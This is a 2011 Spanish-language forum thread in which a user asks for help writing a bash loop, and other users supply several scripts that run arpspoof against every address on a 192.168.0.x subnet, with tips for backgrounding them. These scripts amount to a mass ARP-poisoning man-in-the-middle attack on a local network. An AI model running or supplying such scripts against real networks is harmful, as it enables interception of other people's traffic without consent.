Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: .:UND3R:. en 3 Abril 2011, 18:24 pm



Título: Crear variable en bash
Publicado por: .:UND3R:. en 3 Abril 2011, 18:24 pm
Bueno Hola a todos espero que estén bien, les cuento tengo un comando que útilizo en linux es más o menos así

xxxxxx 192.168.0.1

el problema surge que me gustaria para poder facilitar mi trabajo crear un variable más o menos así

xxxxxx 192.168.0.X

en donde X=son numeros desde el 1 hasta el 255

creo que es algo demasiado facil, pero no sé nada de .sh si pudieran tenderme solo esa mano se los agradeceria Muchas gracias :D


Título: Re: Crear variable en bash
Publicado por: leogtz en 3 Abril 2011, 20:25 pm
Mira, te pongo de ejemplo el siguiente sencillo script.

Código
  1. #!/bin/bash
  2. echo -e "Argumento : $1";
  3.  

Y ahora, si queremos pasarle como parámetros los números del 1 al 254:


Código
  1. for i in `seq 1 1 254`; do bash shell.sh $i; done
  2.  
Código
  1. for((i = 1; i < 254; i++)) do bash shell.sh $i; done

Siendo shell.sh el script de arriba y $i la variable que le paso.

Cualquier duda me dices y lo aclaramos más.


Título: Re: Crear variable en bash
Publicado por: .:UND3R:. en 3 Abril 2011, 21:07 pm
Muchas gracias por tu rápida respuesta :)
1)todo bien pero sabes cuando lo ejecuto me sale solo argumento:1 hacia abajo y no cambia la variable
2)otra cosa que significa echo -e y si quiero lanzar un comando debe ir el echo con -e

Muchas gracias :D


Título: Re: Crear variable en bash
Publicado por: leogtz en 3 Abril 2011, 23:46 pm
Mejor pon el contenido del script que quieres ejecutar.


Título: Re: Crear variable en bash
Publicado por: .:UND3R:. en 4 Abril 2011, 19:26 pm
Citar
Perfecto, 1ero que todo darte las gracias por que los demás moderadores no son así  ;-)
tu ayudas, no me sugieres google ni aprender a codear sin darme una solución xD
Bueno creo que el código que necesito podrá ser de ayuda para muchos
el comando que necesito ejecutar es una herramienta del pack dsniff:
el comando realiza un envenenamiento de ARP (man in the midle) pero seria mucho más comodo que el comando cubriera todas las conexiones por decirlo de un modo.
el comando a seguir es:

arpspoof -i interface -t ipdecliente ipdelrouter

en mi caso sería así

arpspoof -i wlan0 -t 192.168.0.102 192.168.0.1

el problema surge en que la ipdelcliente se puede enviar una sola, siendo lo ideal desde 2 hasta 255 (192.168.0.x) x=2 hasta 255

*al ejecutarse tal programa la consola en que se lanzó queda inutilizable, ya que está constantemente mostrandonos un msj en resumen que nos afirma que se está realizando tal comando, por lo que seria óptimo para su funcionamiento del script que se pudiera ejecutar tales ordenes en terminales distintas aunque por preferencia que fuera en solapas distintas

Bueno de alguna manera te plasmo la idea para que me entiendas mejor, no se codear pero dejemos que mi idea es un esquema :D

Citar
x=2
PASO1
si x=255 ir a PASO2
ejecutar en una nueva consola este comando:
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
x=se le suma +1 del valor anterior de x
ir a PASO1
PASO2
Terminar el script

Con palabras:

la idea es que se abra una consola nueva con este comando
arpspoof -i wlan0 -t 192.168.0.x 192.168.0.1
en donde x parte como dos y luego tres,cuatro así sucesivamente hasta llegar hasta 255 luego de eso se termina el script

ya no sabría como explicártelo :B
espero que lo entiendas,disculpa por complicarte por no saber codear
Gracias



Título: Re: Crear variable en bash
Publicado por: leogtz en 4 Abril 2011, 22:57 pm
Mira, podríamos usar algo sencillito como esto:

Código
  1. #!/bin/bash
  2. for((i = 2; i < 255; i++))
  3. do
  4. arpspoof -i wlan0 -t 192.168.0.$i 192.168.0.1
  5. done
  6.  
  7.  
y eso ejecutarlo en modo background para que no te deje indispuesta la consola.


Código:
[leo@archero Desktop]$ cat shell.sh 
#!/bin/bash
for((i = 2; i < 255; i++))
do
echo arpspoof -i wlan0 -t 192.168.0.$i 192.168.0.1
done
[leo@archero Desktop]$ bash shell.sh &

bash shell.sh &


Título: Re: Crear variable en bash
Publicado por: D4RIO en 6 Abril 2011, 16:18 pm
Hola bikutoru123, hola Leo:

AFAIK, el bucle 'for' que propones no es portable, aunque no creo que importe dependiendo el linux para el que se quiera. Incluso el comando seq no se haya en muchos Unixes.

Pongo una alternativa para bucles que me ha funcionado en AIX 5.2 y con varios shells. No es nada raro, se trata de meter Perl:

Código
  1. #!/bin/sh
  2. for X in $(perl -e 'foreach (2..255){print $_,"\n";}'); do
  3.  
  4.    arpspoof -i wlan0 -t 192.168.0.$X 192.168.0.1
  5.  
  6. done

Hasta se podría meter en una funcion seq() en los shells que no lo tienen.

Saludos


Título: Re: Crear variable en bash
Publicado por: leogtz en 6 Abril 2011, 22:08 pm
Sí, también puedes usar la solución de xD4RIOx, su equivalente en bash es:

Código
  1. #!/bin/bash
  2. for X in `echo {2..254}`; do
  3.    arpspoof -i wlan0 -t 192.168.0.$X 192.168.0.1
  4. done
  5.  


Título: Re: Crear variable en bash
Publicado por: .:UND3R:. en 9 Abril 2011, 18:15 pm
Excelente, me funcionó a la perfección, pondré una entrada del arpspoff en mi blog dandole poniendo sus créditos obviamente, excelente amigos sigan así
 PD: me quedó una pequeña duda... para ejecutarlo en modo background es agregandole el símbolo $

EJ: Bash shell.sh $

En fin es Muchas gracias :D


Título: Re: Crear variable en bash
Publicado por: leogtz en 9 Abril 2011, 18:41 pm
No, el símbolo es &.


Título: Re: Crear variable en bash
Publicado por: D4RIO en 10 Abril 2011, 06:34 am
O bien mediante cron, o con: echo "script.sh" | at now


Título: Re: Crear variable en bash
Publicado por: .:UND3R:. en 14 Abril 2011, 00:29 am
Nuevo problema, disculpen de nuevo pero viendo bien creo que la variable no pasa del 2 osea solo queda ahí :c creo que debe ser por que el comando cuando se digita está constantemente realizando la operación.... modifique el comando por echo y me arrojó todos los números de 2 a 255 por lo que su comando funciona a la perfección el problema es que da conflictos con ese comando :c
ayuda

Saludos y gracias por sus respuestas


Título: Re: Crear variable en bash
Publicado por: D4RIO en 14 Abril 2011, 12:44 pm
Recuerda que los estás poniendo a funcionar en el BG, ¿cuál es tu fundamento para decir que no pasa de 2? ¿cómo te diste cuenta?